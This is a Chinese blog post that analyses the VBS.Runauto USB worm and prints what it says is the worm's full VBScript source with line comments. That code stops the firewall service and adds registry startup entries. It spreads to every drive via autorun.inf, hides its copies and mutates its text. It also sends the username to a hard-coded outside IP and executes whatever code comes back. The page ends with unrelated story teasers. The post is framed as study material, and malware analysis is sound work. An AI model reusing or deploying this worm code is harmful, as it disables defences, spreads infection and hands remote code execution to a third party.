脚本病毒-VBS.Runauto

VBS.Runauto脚本病毒是我们俗称的U盘病毒的一种,Symantec公司给其定位为蠕虫(Worm)病毒,虽然危害性远不如一些恶性病毒,但常常会严重影响用户正常使用计算机。

脚本概览

Symantec对该病毒的简介

源码分析

由于在网上找了很久也没有找到该病毒的样本,只能参考网上的分析文章中所公布出来的源码进行分析,意在分析病毒的大体函数调用,作学习之用。

 
On Error Resume Next 
Set fso=CreateObject("scripting.filesystemobject") 
Set wshshell=CreateObject(strreverse("wscript.shell")) 
Dim dri_list,dri_list0 
Dim issend 
issend=0 
c_time=Date() 

' 这是关闭SharedAccess(Intemet连接共享和防火墙服务)' 
wshshell.run "net stop sharedaccess",0 

Set drvs=fso.drives 
sysdir=fso.GetSpecialFolder(1) 
'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2 '

thispath=wscript.ScriptFullName 
Set fc=fso.OpenTextFile(thispath,1) 
'ForReading=1,ForWriting=2 ,ForAppending=8 '

scopy=fc.readall 
fc.Close 

Set fc=Nothing 
' 写注册表注册文件sysinfo.reg,注册系统开机自动执行病毒 '
Call writefile(sysdir&"\sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 
") 
' 导入注册表sysinfo.reg '
wshshell.run "regedit /s sysinfo.reg" , 0 
wscript.sleep 200 
fso.deletefile sysdir&"\sysinfo.reg" , True 

' 如果当前运行脚本在系统目录中' 
If InStr(thispath,sysdir)>0 Then 
dri_list0=listdrv() 
o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) 
'回拨时间1年 '
wshshell.run "cmd /c Date" &o_time,0 
wscript.sleep 10000 
For dri_i=1 to Len(dri_list0) 
Call writeauto(Mid(dri_list0,dri_i,1)& ":\" ) 
Next 
wshshell.run "cmd /c Date "&c_time,0 


 'WMI应用查询计算机名,用户名'
computername="":username=""
Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2") 
Set colcomputers = objwmiservice.execquery("select * from win32_computersystem") 
For Each objcomputer in colcomputers 
computername=objcomputer.name 
username=objcomputer.username 
Next 
If username="" Then username="evar" 
If InStr(username,"\")<=0 Then 
username=computername&"\"&username 
End If 
do 
If issend=0 Then 
' 链接外网,获得执行代码 
Set xml=CreateObject("msxml2.serverxmlhttp") 
xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0 
' http://202.119.104.100/zzb/是南师大学校党委组织部主办的网站 
xml.setrequestheader "user-agent","evar" 
xml.send() 
If Err.number=0 Then 
issend=1 
res=xml.responsetext 
If ucase(left(res,7))=ucase("Execute") Then Execute res 
Else 
Err.clear 
End If 
Set xml=Nothing 
End If 

dri_list=listdrv() 
For dri_k=1 to Len(dri_list) 
If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then 
Call writeauto(Mid(dri_list,dri_k,1)&":\") 
End If 
Next 
dri_list0=dri_list 
wscript.sleep 1000 
loop 
Else 
wshshell.run "explorer .\",3 
wscript.sleep 2000 
wshshell.appactivate LCase("我的电脑") 
wshshell.sendkeys UCase("% c") ' 模拟击键 alt + space + c ,其实就是关闭窗口 
runflag=0 

' 获得当前系统进程,WMI的应用 
For each ps in GetObject _ 
("winmgmts:\\.\root\cimv2:win32_process").instances_ 
If lcase(ps.name)=lcase("wscript.exe") Then 
runflag=runflag+1 
End If 
Next 
If runflag>=2 Then wscript.quit 
Set sf=fso.GetFolder(sysdir) 
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1) 
wshshell.run "cmd /c Date "&f_time,0 
wscript.sleep 100 
Call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy)) 
wshshell.run "cmd /c Date "&c_time,0 
wshshell.run sysdir&"\prncfg.vbs" 
End If 

' 混乱字符串,进行代码变体! 
Function vs(str) 
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))" 
End Function 

' 列出驱动器 
Function listdrv() 
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list" 
End Function 

' 写autorun.inf文件 
Sub writeauto(path) 
' 写Auto文件前的准备,如果path中有autorun.inf文件夹那么重命名;如果有autorun.inf文件则删除 
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If" 
' autorun.inf中的启动代码 
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34) 
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find") 
' 写入 
Call writefile(path&ucase("autorun.inf"),autostr) 
Call writefile(path&"eva.vbs",vs(scopy)) 
End Sub 
'将content中的内容写入fpath,并设置文件属性是ReadOnly、Hidden和System 
Sub writefile(fpath,content) 
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing" 
End Sub 

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 221,135评论 6 514
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 94,317评论 3 397
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 167,596评论 0 360
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 59,481评论 1 296
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 68,492评论 6 397
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 52,153评论 1 309
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,737评论 3 421
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,657评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 46,193评论 1 319
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,276评论 3 340
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,420评论 1 352
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 36,093评论 5 349
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,783评论 3 333
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,262评论 0 23
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,390评论 1 271
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,787评论 3 376
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,427评论 2 359

推荐阅读更多精彩内容

  • Android 自定义View的各种姿势1 Activity的显示之ViewRootImpl详解 Activity...
    passiontim阅读 172,259评论 25 707
  • 因为简单,用脚都可以写python perl ruby lua  (1)什么是脚本语言?(2)为什么叫做...
    plantAtree_dAp阅读 943评论 0 5
  • 是在哪一个晚上,你看着我,看着看着就睡着了。 是在哪一个清晨,我想看着你,却一直一直未找见你。 有人说,走过那一条...
    芷墨l阅读 758评论 27 37
  • 对待一个人如何面对,
    我为谁阅读 131评论 0 0
  • 实验环境: VirtualBox_5.0.24.8355_Win ubuntu-16.04.1-desktop...
    AnyL8023阅读 566评论 0 0